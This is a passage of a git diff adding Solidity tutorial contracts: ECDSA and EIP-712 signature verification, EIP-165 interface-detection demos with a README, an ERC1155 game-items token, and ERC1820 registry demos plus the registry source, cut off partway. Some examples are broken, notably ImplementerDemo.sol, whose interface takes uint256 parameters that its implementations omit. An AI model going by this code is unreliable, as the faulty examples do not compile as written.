+        // 3、从hash里计算出signer
+        // return recoverSigner(ethSignedMessageHash, signature);
+        return ECDSA.recover(ethSignedMessageHash, signature);
+    }
+
+    function verify2(bytes32 _hash, bytes memory _signature) public pure returns (address) {
+        return _hash.toEthSignedMessageHash().recover(_signature);
+    }
+
+    /**
+         Person: [
+          { name: 'name', type: 'string' },
+          { name: 'wallet', type: 'address' },
+        ],
+        Mail: [
+          { name: 'from', type: 'Person' },
+          { name: 'to', type: 'Person' },
+          { name: 'contents', type: 'string' },
+        ],
+      */
+    struct Person {
+        string name;
+        address wallet;
+    }
+
+    struct Mail {
+        Person from;
+        Person to;
+        string contents;
+    }
+
+    bytes32 constant MAIL_TYPE_HASH = keccak256('Mail(Person from,Person to,string contents)Person(string name,address wallet)');
+    bytes32 constant PERSON_TYPE_HASH = keccak256('Person(string name,address wallet)');
+
+    function hash(Person calldata person) internal view returns (bytes32) {
+        return keccak256(abi.encode(PERSON_TYPE_HASH, keccak256(bytes(person.name)), person.wallet));
+    }
+
+    function hash(Mail calldata mail) internal view returns (bytes32) {
+        return keccak256(abi.encode(MAIL_TYPE_HASH, hash(mail.from), hash(mail.to), keccak256(bytes(mail.contents))));
+    }
+
+    function verify3(Mail calldata mail, bytes memory _signature) public view returns (address) {
+        bytes32 structHash = hash(mail);
+        bytes32 digest = _hashTypedDataV4(structHash);
+        address signer = ECDSA.recover(digest, _signature);
+        return signer;
+    }
+
+    struct Message {
+        string[] data;
+    }
+
+    // struct PersonV2 {
+    //     string name;
+    //     address[] wallet;
+    // }
+
+    // struct MailV2 {
+    //     PersonV2 from;
+    //     PersonV2[] to;
+    //     string contents;
+    // }
+
+    // bytes32 constant MAIL_V2_TYPE_HASH = keccak256('MailV2(PersonV2 from,PersonV2[] to,string contents)PersonV2(string name,address[] wallet)');
+    // bytes32 constant PERSON_V2_TYPE_HASH = keccak256('PersonV2(string name,address[] wallet)');
+    bytes32 constant Message_TYPE_HASH = keccak256('Message(string[] data)');
+
+    // function hash(MailV2 calldata mail) internal view returns (bytes32) {
+    //     //  如何计算数组的keccak256？
+    //     bytes32[] storage temp;
+    //     for (uint256 i = 0; i < mail.to.length; i++) {
+    //         // temp[i] = hash[mail.to[i]];
+    //     }
+    //     return
+    //         keccak256(
+    //             abi.encode(
+    //                 MAIL_V2_TYPE_HASH,
+    //                 // hash(mail.from),
+    //                 // hash(mail.to),
+    //                 keccak256(bytes(mail.contents))
+    //             )
+    //         );
+    // }
+
+    function hash(Message calldata message) internal view returns (bytes32) {
+        bytes32[] memory keccakData = new bytes32[](message.data.length);
+        for (uint256 i = 0; i < message.data.length; i++) {
+            keccakData[i] = keccak256(bytes(message.data[i]));
+        }
+        bytes32 computedHash5 = keccak256(abi.encodePacked(keccakData));
+        return keccak256(abi.encode(Message_TYPE_HASH, computedHash5));
+    }
+
+    function verify4(Message calldata message, bytes memory _signature) public view returns (address) {
+        console.log(message.data.length);
+        bytes32 structHash = hash(message);
+        bytes32 digest = _hashTypedDataV4(structHash);
+        address signer = ECDSA.recover(digest, _signature);
+        return signer;
+    }
+
+    function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) public pure returns (address) {
+        (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
+        return ecrecover(_ethSignedMessageHash, v, r, s);
+    }
+
+    function splitSignature(bytes memory sig)
+        public
+        pure
+        returns (
+            bytes32 r,
+            bytes32 s,
+            uint8 v
+        )
+    {
+        require(sig.length == 65, 'invalid signature length');
+
+        assembly {
+            /*
+            First 32 bytes stores the length of the signature
+            add(sig, 32) = pointer of sig + 32
+            effectively, skips first 32 bytes of signature
+            mload(p) loads next 32 bytes starting at the memory address p into memory
+            */
+
+            // first 32 bytes, after the length prefix
+            r := mload(add(sig, 32))
+            // second 32 bytes
+            s := mload(add(sig, 64))
+            // final byte (first byte of the next 32 bytes)
+            v := byte(0, mload(add(sig, 96)))
+        }
+        // implicitly return (r, s, v)
+    }
+}
diff --git a/basic/23-erc865-and-erc875/contracts/eip165/CheckerDemo.sol b/basic/23-erc865-and-erc875/contracts/eip165/CheckerDemo.sol
new file mode 100644
index 000000000..f34745771
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/eip165/CheckerDemo.sol
@@ -0,0 +1,16 @@
+import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
+import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
+
+
+contract CheckerDemo {
+
+    function transfer(address nftContract, bytes memory args) external {
+        if (ERC165Checker.supportsInterface(nftContract, type(IERC721).interfaceId)) {
+            //transfer my asset to ERC721
+        } 
+        if (ERC165Checker.supportsInterface(nftContract, type(IERC1155).interfaceId)) {
+            //transfer my asset to ERC1155
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/eip165/Implementer2.sol b/basic/23-erc865-and-erc875/contracts/eip165/Implementer2.sol
new file mode 100644
index 000000000..4265235f9
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/eip165/Implementer2.sol
@@ -0,0 +1,43 @@
+import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
+import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
+
+interface IInterface1 {
+    function hello1() external view returns(bool);    
+}
+
+interface IInterface2 {
+    function hello2() external view returns(bool);    
+}
+
+contract Parent1 is IInterface1 ,ERC165{
+    function hello1() external view returns(bool) {
+        return true;
+    }
+
+    function supportsInterface(bytes4 interfaceId) public virtual override view returns(bool) {
+        return super.supportsInterface(interfaceId) || 
+        interfaceId == this.hello1.selector;
+    }
+}
+
+contract Parent2 is IInterface2 ,ERC165{
+    function hello2() external view returns(bool) {
+        return true;
+    }
+
+    function supportsInterface(bytes4 interfaceId) public virtual override view returns(bool) {
+        return super.supportsInterface(interfaceId) || 
+        interfaceId == this.hello2.selector;
+    }
+}
+
+
+contract Child is Parent1, Parent2 {
+    function myFunc() external view returns(bool) {
+        return true;
+    }
+
+    function supportsInterface(bytes4 interfaceId) public override(Parent1, Parent2) view returns(bool) {
+        return super.supportsInterface(interfaceId) || interfaceId == this.myFunc.selector;
+    }
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/eip165/ImplementerDemo.sol b/basic/23-erc865-and-erc875/contracts/eip165/ImplementerDemo.sol
new file mode 100644
index 000000000..8531a90f5
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/eip165/ImplementerDemo.sol
@@ -0,0 +1,39 @@
+import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
+import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
+
+
+interface IInterface {
+    function hello1(uint256 x) external view returns(bool);
+
+    function hello2(uint256 x) external view returns(bool);
+}
+
+// demo: using ERC-165
+
+contract ImplementerCase1 is IInterface, IERC165 {
+    function hello1() external view returns(bool) {
+        return true;
+    }
+    function hello2() external view returns(bool) {
+        return true;
+    }
+
+    function supportsInterface(bytes4 interfaceId) external view returns(bool) {
+        return interfaceId == type(IERC165).interfaceId ||
+                interfaceId == this.hello1.selector ^ this.hello2.selector;
+    }
+}
+
+contract ImplementerCase2 is IInterface ,ERC165{
+    function hello1() external view returns(bool) {
+        return true;
+    }
+    function hello2() external view returns(bool) {
+        return true;
+    }
+
+    function supportsInterface(bytes4 interfaceId) public override view returns(bool) {
+        return super.supportsInterface(interfaceId) || 
+        interfaceId == this.hello1.selector ^ this.hello2.selector;
+    }
+}
diff --git a/basic/23-erc865-and-erc875/contracts/eip165/InterfaceIdDemo.sol b/basic/23-erc865-and-erc875/contracts/eip165/InterfaceIdDemo.sol
new file mode 100644
index 000000000..2a7e24ccc
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/eip165/InterfaceIdDemo.sol
@@ -0,0 +1,14 @@
+// demo: interfaceId
+interface IInterface {
+    function hello1(uint256 x) external view returns(bool);
+
+    function hello2(uint256 x) external view returns(bool);
+}
+
+contract InterfaceIdDemo {
+    function checkInterfaceId() external view returns(bool) {
+        IInterface instance = IInterface(address(0));
+        return type(IInterface).interfaceId == 
+            instance.hello1.selector ^ instance.hello2.selector;
+    } 
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/eip165/README.md b/basic/23-erc865-and-erc875/contracts/eip165/README.md
new file mode 100644
index 000000000..e62ed6c21
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/eip165/README.md
@@ -0,0 +1,215 @@
+# EIP-165
+
+ERC-165 allows a smart contract to convey which interface it implements through a "supportsInterface(bytes4)" function call.
+
+## Background concepts
+EIP-165 strongly depends on basic concepts of **selector** and **interfaceId**.
+
+### selector
+Each function has a corresponding selector, which is equivalent to the first 4 bytes of function signature:
+
+```solidity
+contract SelectorDemo  {
+    function hello(uint256 x) external view returns(bool) {
+        return true;
+    }
+
+    function checkSelector() external view returns(bytes4, bytes4) {
+        SelectorDemo instance = SelectorDemo(address(this));
+        return (instance.hello.selector, bytes4(keccak256("hello(uint256)")));
+    }
+}
+```
+
+### interfaceId
+Each interface has a corresponding interfaceId, which is XOR sum of selectors of all functions it contains:
+
+```solidity
+contract SelectorDemo  {
+    function hello(uint256 x) external view returns(bool) {
+        return true;
+    }
+
+    function checkSelector() external view returns(bytes4, bytes4) {
+        return (this.hello.selector, bytes4(keccak256("hello(uint256)")));
+    }
+}
+
+
+interface IInterface {
+    function hello1(uint256 x) external view returns(bool);
+    function hello2(uint256 x) external view returns(bool);
+}
+
+contract Tests {
+    function checkInterfaceId() external view returns(bool) {
+        IInterface instance = IInterface(address(0));
+        return type(IInterface).interfaceId == 
+            instance.hello1.selector ^ instance.hello2.selector;
+    } 
+}
+
+```
+
+Also note that keyword **type** only supports interface, not contract.
+
+## Usage
+When some contract or DAPP wants to know whether a contract supports some interface, it is often achieved with ERC-165. How do we write these contracts?
+
+### Contract Implementer
+
+For a contract, if it wants to tell others what interface it carries, it should implement IERC-165. Basiclly, there can be two situations.
+
+#### case1: this contract implementes some interface directly.
+
+```solidity
+import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
+
+interface IInterface {
+    function hello1() external view returns(bool);    
+    function hello2() external view returns(bool);    
+}
+
+contract ImplementerCase1 is IInterface, IERC165 {
+    function hello1() external view returns(bool) {
+        return true;
+    }
+    function hello2() external view returns(bool) {
+        return true;
+    }
+
+    function supportsInterface(bytes4 interfaceId) external view returns(bool) {
+        return interfaceId == type(IERC165).interfaceId ||
+                interfaceId == this.hello1.selector ^ this.hello2.selector;
+    }
+}
+```
+
+Please note that in "supportsInterface" the contract also conveys that it supports "IERC165" as well as its own interfaces. This express that queriers could use ERC165 to check its interfaces.
+
+
+
+Also, we can write a simpler version thanks to openzeppelin, which already encapsulates self-checking of UERC165 into ERC165.sol:
+
+```solidity
+import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
+contract ImplementerCase2 is IInterface ,ERC165{
+    function hello1() external view returns(bool) {
+        return true;
+    }
+    function hello2() external view returns(bool) {
+        return true;
+    }
+
+    function supportsInterface(bytes4 interfaceId) public override view returns(bool) {
+        return super.supportsInterface(interfaceId) || 
+        interfaceId == this.hello1.selector ^ this.hello2.selector;
+    }
+}
+
+```
+
+#### case2: contract inherits one or more contracts, which also implements ERC165. 
+
+```solidity
+import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
+import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
+
+interface IInterface1 {
+    function hello1() external view returns(bool);    
+}
+
+interface IInterface2 {
+    function hello2() external view returns(bool);    
+}
+
+contract Parent1 is IInterface1 ,ERC165{
+    function hello1() external view returns(bool) {
+        return true;
+    }
+
+    function supportsInterface(bytes4 interfaceId) public virtual override view returns(bool) {
+        return super.supportsInterface(interfaceId) || 
+        interfaceId == this.hello1.selector;
+    }
+}
+
+contract Parent2 is IInterface2 ,ERC165{
+    function hello2() external view returns(bool) {
+        return true;
+    }
+
+    function supportsInterface(bytes4 interfaceId) public virtual override view returns(bool) {
+        return super.supportsInterface(interfaceId) || 
+        interfaceId == this.hello2.selector;
+    }
+}
+
+
+contract Child is Parent1, Parent2 {
+    function myFunc() external view returns(bool) {
+        return true;
+    }
+
+    function supportsInterface(bytes4 interfaceId) public override(Parent1, Parent2) view returns(bool) {
+        return super.supportsInterface(interfaceId) || interfaceId == this.myFunc.selector;
+    }
+}
+
+```
+
+Though supportsInterface of Child contract calls one line of code (super.supportsInterface) beside its own, it still supports all following interface ids:
+- IERC165(supportsInterface)
+- IInterface1(hello1)
+- IInterface2(hello2)
+- Child(myFunc)
+
+Why we don't have to specifiy parents' implementation one by one? This is because solidity takes C3 linearization inheritation rule, where multiple inheritants could be serialized into linearized inheritance from left to right. In this case, the linearized inheritance is:
+
+            ERC165->Parent1->Parent2->Child
+
+In other words, Child's supportsInterface contains the implentation from Parent2, which also contains that of Parent1 till ERC165.
+
+
+## Query
+
+For those to query, basiclly it has two separates steps.
+
+- Decide whether target contracts supports ERC165. This can be done by checking target.supportsInterface(type(IERC165).interfaceId)
+
+- Decode whether target contracts supports specified interface.
+
+Openzeppelin already contains such logic in ERC165Checker:
+
+```solidity
+function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
+        // query support of both ERC165 as per the spec and support of _interfaceId
+        return supportsERC165(account) && supportsERC165InterfaceUnchecked(account, interfaceId);
+    }
+```
+
+With the help of ERC165Checker, it is far more easier to check interface. Take a scenerio where a NFT market wants to move NFT it stored to some buyer, it must know what of kind of NFT it is transfering before the transfer:
+
+```solidity
+import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
+import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
+
+
+contract CheckerDemo {
+
+    function transfer(address nftContract, bytes memory args) external {
+        if (ERC165Checker.supportsInterface(nftContract, type(IERC721).interfaceId)) {
+            //transfer my asset to ERC721
+        } 
+        if (ERC165Checker.supportsInterface(nftContract, type(IERC1155).interfaceId)) {
+            //transfer my asset to ERC1155
+        }
+    }
+}
+```
+
+## Referrence
+[EIP-165](https://eips.ethereum.org/EIPS/eip-165)
+
+[OZ](https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/utils/introspection)
diff --git a/basic/23-erc865-and-erc875/contracts/eip165/SelectorDemo.sol b/basic/23-erc865-and-erc875/contracts/eip165/SelectorDemo.sol
new file mode 100644
index 000000000..323fce8a9
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/eip165/SelectorDemo.sol
@@ -0,0 +1,10 @@
+// demo: selector
+contract SelectorDemo  {
+    function hello(uint256 x) external view returns(bool) {
+        return true;
+    }
+
+    function checkSelector() external view returns(bytes4, bytes4) {
+        return (this.hello.selector, bytes4(keccak256("hello(uint256)")));
+    }
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/eip712/EIP712.sol b/basic/23-erc865-and-erc875/contracts/eip712/EIP712.sol
new file mode 100644
index 000000000..5ae20c500
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/eip712/EIP712.sol
@@ -0,0 +1,135 @@
+pragma solidity ^0.4.24;
+
+contract EIP712Test {
+    
+    struct EIP712Domain {
+        string  name;
+        string  version;
+        uint256 chainId;
+        address verifyingContract;
+    }
+
+    struct Person {
+        string name;
+        address wallet;
+    }
+
+    struct Mail {
+        Person from;
+        Person to;
+        string contents;
+    }
+
+    bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256(
+        "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
+    );
+
+    bytes32 constant PERSON_TYPEHASH = keccak256(
+        "Person(string name,address wallet)"
+    );
+
+    bytes32 constant MAIL_TYPEHASH = keccak256(
+        "Mail(Person from,Person to,string contents)Person(string name,address wallet)"
+    );
+
+    bytes32 DOMAIN_SEPARATOR;
+
+    mapping(address => Person) public froms;
+
+    mapping(address => Person) public tos;
+
+    mapping(address => string) public contents;
+
+    constructor () public {
+        DOMAIN_SEPARATOR = hash(EIP712Domain({
+            name: "Ether Mail",
+            version: '1',
+            chainId: 1,
+            // verifyingContract: this
+            verifyingContract: 0xCcCCccccCCCCcCCCCCCcCcCccCcCCCcCcccccccC
+        }));
+    }
+
+    function setFrom( address _target, string _name, address _wallet) public {
+        froms[_target] = Person({
+               name: _name,
+               wallet: _wallet
+            });
+    }
+
+    function setTo( address _target, string _name, address _wallet) public {
+        tos[_target] = Person({
+               name: _name,
+               wallet: _wallet
+            });
+    }
+
+    function setContent( address _target, string _content) public {
+        contents[_target] = _content;
+    }
+
+    function hash(EIP712Domain eip712Domain) internal pure returns (bytes32) {
+        return keccak256(abi.encode(
+            EIP712DOMAIN_TYPEHASH,
+            keccak256(bytes(eip712Domain.name)),
+            keccak256(bytes(eip712Domain.version)),
+            eip712Domain.chainId,
+            eip712Domain.verifyingContract
+        ));
+    }
+
+    function hash(Person person) internal pure returns (bytes32) {
+        return keccak256(abi.encode(
+            PERSON_TYPEHASH,
+            keccak256(bytes(person.name)),
+            person.wallet
+        ));
+    }
+
+    function hash(Mail mail) internal pure returns (bytes32) {
+        return keccak256(abi.encode(
+            MAIL_TYPEHASH,
+            hash(mail.from),
+            hash(mail.to),
+            keccak256(bytes(mail.contents))
+        ));
+    }
+
+    function verify(address _target, uint8 v, bytes32 r, bytes32 s) public view returns (bool) {
+        Mail memory mail = Mail({
+            from: froms[_target],
+            to: tos[_target],
+            contents: contents[_target]
+        });
+        // Note: we need to use `encodePacked` here instead of `encode`.
+        bytes32 digest = keccak256(abi.encodePacked(
+            "\x19\x01",
+            DOMAIN_SEPARATOR,
+            hash(mail)
+        ));
+        return ecrecover(digest, v, r, s) == _target;
+    }
+    
+    /* function test() public view returns (bool) {
+        // Example signed message
+        Mail memory mail = Mail({
+            from: Person({
+               name: "Cow",
+               wallet: 0xCD2a3d9F938E13CD947Ec05AbC7FE734Df8DD826
+            }),
+            to: Person({
+                name: "Bob",
+                wallet: 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB
+            }),
+            contents: "Hello, Bob!"
+        });
+        uint8 v = 28;
+        bytes32 r = 0x4355c47d63924e8a72e509b65029052eb6c299d53a04e167c5775fd466751c9d;
+        bytes32 s = 0x07299936d304c153f6443dfa05f40ff007d72911b6f72307f996231605b91562;
+        
+        assert(DOMAIN_SEPARATOR == 0xf2cee375fa42b42143804025fc449deafd50cc031ca257e0b194a650a912090f);
+        assert(hash(mail) == 0xc52c0ee5d84264471806290a3f2c4cecfc5490626bf912d01f240d7a274b371e);
+        assert(verify(mail, v, r, s));
+        return true;
+    } */
+}
diff --git a/basic/23-erc865-and-erc875/contracts/erc1155/GameItems.sol b/basic/23-erc865-and-erc875/contracts/erc1155/GameItems.sol
new file mode 100644
index 000000000..d406146a7
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc1155/GameItems.sol
@@ -0,0 +1,22 @@
+// contracts/GameItems.sol
+// SPDX-License-Identifier: MIT
+// pragma solidity ^0.6.0;
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
+
+contract GameItems is ERC1155 {
+    uint256 public constant GOLD = 0;
+    uint256 public constant SILVER = 1;
+    uint256 public constant THORS_HAMMER = 2;
+    uint256 public constant SWORD = 3;
+    uint256 public constant SHIELD = 4;
+
+    constructor() public ERC1155("https://abcoathup.github.io/SampleERC1155/api/token/{id}.json") {
+        _mint(msg.sender, GOLD, 10**18, "");
+        _mint(msg.sender, SILVER, 10**27, "");
+        _mint(msg.sender, THORS_HAMMER, 1, "");
+        _mint(msg.sender, SWORD, 10**9, "");
+        _mint(msg.sender, SHIELD, 10**9, "");
+    }
+}
diff --git a/basic/23-erc865-and-erc875/contracts/erc1820/DemoConsumer.sol b/basic/23-erc865-and-erc875/contracts/erc1820/DemoConsumer.sol
new file mode 100644
index 000000000..023873051
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc1820/DemoConsumer.sol
@@ -0,0 +1,18 @@
+pragma solidity 0.8.1;
+
+import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
+import "hardhat/console.sol";
+contract DemoConsumer {
+
+    IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
+
+    function doSomething() external {
+        //The magic is, we can call set function of msg.sender, regardless whether it is an EOA!
+        address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(msg.sender, keccak256("callback(uint256)"));
+        require(implementer != address(0), "not register on erc1820 registry");
+        (bool success,) = implementer.call(abi.encodeWithSignature("callback(uint256)", 0x666));
+        require(success, "Call failed");
+    }
+
+
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/erc1820/DemoImplementer.sol b/basic/23-erc865-and-erc875/contracts/erc1820/DemoImplementer.sol
new file mode 100644
index 000000000..43a7119cc
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc1820/DemoImplementer.sol
@@ -0,0 +1,16 @@
+pragma solidity 0.8.1;
+
+import "@openzeppelin/contracts/utils/introspection/ERC1820Implementer.sol";
+
+contract DemoImplementer is ERC1820Implementer {
+
+    address private owner;
+    constructor() {
+        owner = msg.sender;
+        _registerInterfaceForAddress(keccak256("callback(uint256)"), msg.sender);
+    }
+    event CallBack(address interfaceAddress, address caller, uint256 args);
+    function callback(uint256 args) external {
+        emit CallBack(owner, msg.sender, args);
+    }
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/contracts/erc1820/ERC1820.sol b/basic/23-erc865-and-erc875/contracts/erc1820/ERC1820.sol
new file mode 100644
index 000000000..89c6b9ddc
--- /dev/null
+++ b/basic/23-erc865-and-erc875/contracts/erc1820/ERC1820.sol
@@ -0,0 +1,217 @@
+/* ERC1820 Pseudo-introspection Registry Contract
+ * This standard defines a universal registry smart contract where any address (contract or regular account) can
+ * register which interface it supports and which smart contract is responsible for its implementation.
+ *
+ * Written in 2019 by Jordi Baylina and Jacques Dafflon
+ *
+ * To the extent possible under law, the author(s) have dedicated all copyright and related and neighboring rights to
+ * this software to the public domain worldwide. This software is distributed without any warranty.
+ *
+ * You should have received a copy of the CC0 Public Domain Dedication along with this software. If not, see
+ * <http://creativecommons.org/publicdomain/zero/1.0/>.
+ *
+ *    ███████╗██████╗  ██████╗ ██╗ █████╗ ██████╗  ██████╗
+ *    ██╔════╝██╔══██╗██╔════╝███║██╔══██╗╚════██╗██╔═████╗
+ *    █████╗  ██████╔╝██║     ╚██║╚█████╔╝ █████╔╝██║██╔██║
+ *    ██╔══╝  ██╔══██╗██║      ██║██╔══██╗██╔═══╝ ████╔╝██║
+ *    ███████╗██║  ██║╚██████╗ ██║╚█████╔╝███████╗╚██████╔╝
+ *    ╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚══════╝ ╚═════╝
+ *
+ *    ██████╗ ███████╗ ██████╗ ██╗███████╗████████╗██████╗ ██╗   ██╗
+ *    ██╔══██╗██╔════╝██╔════╝ ██║██╔════╝╚══██╔══╝██╔══██╗╚██╗ ██╔╝
+ *    ██████╔╝█████╗  ██║  ███╗██║███████╗   ██║   ██████╔╝ ╚████╔╝
+ *    ██╔══██╗██╔══╝  ██║   ██║██║╚════██║   ██║   ██╔══██╗  ╚██╔╝
+ *    ██║  ██║███████╗╚██████╔╝██║███████║   ██║   ██║  ██║   ██║
+ *    ╚═╝  ╚═╝╚══════╝ ╚═════╝ ╚═╝╚══════╝   ╚═╝   ╚═╝  ╚═╝   ╚═╝
+ *
+ */
+pragma solidity 0.5.3;
+// IV is value needed to have a vanity address starting with '0x1820'.
+// IV: 53759
+
+/// @dev The interface a contract MUST implement if it is the implementer of
+/// some (other) interface for any address other than itself.
+interface ERC1820ImplementerInterface {
+    /// @notice Indicates whether the contract implements the interface 'interfaceHash' for the address 'addr' or not.
+    /// @param interfaceHash keccak256 hash of the name of the interface
+    /// @param addr Address for which the contract will implement the interface
+    /// @return ERC1820_ACCEPT_MAGIC only if the contract implements 'interfaceHash' for the address 'addr'.
+    function canImplementInterfaceForAddress(bytes32 interfaceHash, address addr) external view returns(bytes32);
+}
+
+
+/// @title ERC1820 Pseudo-introspection Registry Contract
+/// @author Jordi Baylina and Jacques Dafflon
+/// @notice This contract is the official implementation of the ERC1820 Registry.
+/// @notice For more details, see https://eips.ethereum.org/EIPS/eip-1820
+contract ERC1820Registry {
+    /// @notice ERC165 Invalid ID.
+    bytes4 constant internal INVALID_ID = 0xffffffff;
+    /// @notice Method ID for the ERC165 supportsInterface method (= `bytes4(keccak256('supportsInterface(bytes4)'))`).
+    bytes4 constant internal ERC165ID = 0x01ffc9a7;
+    /// @notice Magic value which is returned if a contract implements an interface on behalf of some other address.
+    bytes32 constant internal ERC1820_ACCEPT_MAGIC = keccak256(abi.encodePacked("ERC1820_ACCEPT_MAGIC"));
+
+    /// @notice mapping from addresses and interface hashes to their implementers.
+    mapping(address => mapping(bytes32 => address)) internal interfaces;
+    /// @notice mapping from addresses to their manager.
+    mapping(address => address) internal managers;
+    /// @notice flag for each address and erc165 interface to indicate if it is cached.
+    mapping(address => mapping(bytes4 => bool)) internal erc165Cached;
+
+    /// @notice Indicates a contract is the 'implementer' of 'interfaceHash' for 'addr'.
+    event InterfaceImplementerSet(address indexed addr, bytes32 indexed interfaceHash, address indexed implementer);
+    /// @notice Indicates 'newManager' is the address of the new manager for 'addr'.
+    event ManagerChanged(address indexed addr, address indexed newManager);
+
+    /// @notice Query if an address implements an interface and through which contract.
+    /// @param _addr Address being queried for the implementer of an interface.
+    /// (If '_addr' is the zero address then 'msg.sender' is assumed.)
+    /// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
+    /// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
+    /// @return The address of the contract which implements the interface '_interfaceHash' for '_addr'
+    /// or '0' if '_addr' did not register an implementer for this interface.
+    function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view returns (address) {
+        address addr = _addr == address(0) ? msg.sender : _addr;
+        if (isERC165Interface(_interfaceHash)) {
+            bytes4 erc165InterfaceHash = bytes4(_interfaceHash);
+            return implementsERC165Interface(addr, erc165InterfaceHash) ? addr : address(0);
+        }
+        return interfaces[addr][_interfaceHash];
+    }
+
+    /// @notice Sets the contract which implements a specific interface for an address.
+    /// Only the manager defined for that address can set it.
+    /// (Each address is the manager for itself until it sets a new manager.)
+    /// @param _addr Address for which to set the interface.
+    /// (If '_addr' is the zero address then 'msg.sender' is assumed.)
+    /// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
+    /// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
+    /// @param _implementer Contract address implementing '_interfaceHash' for '_addr'.
+    function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external {
+        address addr = _addr == address(0) ? msg.sender : _addr;
+        require(getManager(addr) == msg.sender, "Not the manager");
+
+        require(!isERC165Interface(_interfaceHash), "Must not be an ERC165 hash");
+        if (_implementer != address(0) && _implementer != msg.sender) {
+            require(
+                ERC1820ImplementerInterface(_implementer)
+                    .canImplementInterfaceForAddress(_interfaceHash, addr) == ERC1820_ACCEPT_MAGIC,
+                "Does not implement the interface"
+            );
+        }
+        interfaces[addr][_interfaceHash] = _implementer;
+        emit InterfaceImplementerSet(addr, _interfaceHash, _implementer);
+    }
+
+    /// @notice Sets '_newManager' as manager for '_addr'.
+    /// The new manager will be able to call 'setInterfaceImplementer' for '_addr'.
+    /// @param _addr Address for which to set the new manager.
+    /// @param _newManager Address of the new manager for 'addr'. (Pass '0x0' to reset the manager to '_addr'.)
+    function setManager(address _addr, address _newManager) external {
+        require(getManager(_addr) == msg.sender, "Not the manager");
+        managers[_addr] = _newManager == _addr ? address(0) : _newManager;
+        emit ManagerChanged(_addr, _newManager);
+    }
+
+    /// @notice Get the manager of an address.
+    /// @param _addr Address for which to return the manager.
+    /// @return Address of the manager for a given address.
+    function getManager(address _addr) public view returns(address) {
+        // By default the manager of an address is the same address
+        if (managers[_addr] == address(0)) {
+            return _addr;
+        } else {
+            return managers[_addr];
+        }
+    }
+
+    /// @notice Compute the keccak256 hash of an interface given its name.
+    /// @param _interfaceName Name of the interface.
+    /// @return The keccak256 hash of an interface name.
+    function interfaceHash(string calldata _interfaceName) external pure returns(bytes32) {
+        return keccak256(abi.encodePacked(_interfaceName));
+    }
+
+    /* --- ERC165 Related Functions --- */
+    /* --- Developed in collaboration with William Entriken. --- */
+
+    /// @notice Updates the cache with whether the contract implements an ERC165 interface or not.
+    /// @param _contract Address of the contract for which to update the cache.
+    /// @param _interfaceId ERC165 interface for which to update the cache.
+    function updateERC165Cache(address _contract, bytes4 _interfaceId) external {
+        interfaces[_contract][_interfaceId] = implementsERC165InterfaceNoCache(
+            _contract, _interfaceId) ? _contract : address(0);
+        erc165Cached[_contract][_interfaceId] = true;
+    }
+
+    /// @notice Checks whether a contract implements an ERC165 interface or not.
+    //  If the result is not cached a direct lookup on the contract address is performed.
+    //  If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
+    //  'updateERC165Cache' with the contract address.
+    /// @param _contract Address of the contract to check.
+    /// @param _interfaceId ERC165 interface to check.
+    /// @return True if '_contract' implements '_interfaceId', false otherwise.
+    function implementsERC165Interface(address _contract, bytes4 _interfaceId) public view returns (bool) {
+        if (!erc165Cached[_contract][_interfaceId]) {
+            return implementsERC165InterfaceNoCache(_contract, _interfaceId);
+        }
+        return interfaces[_contract][_interfaceId] == _contract;
+    }
+
+    /// @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
+    /// @param _contract Address of the contract to check.
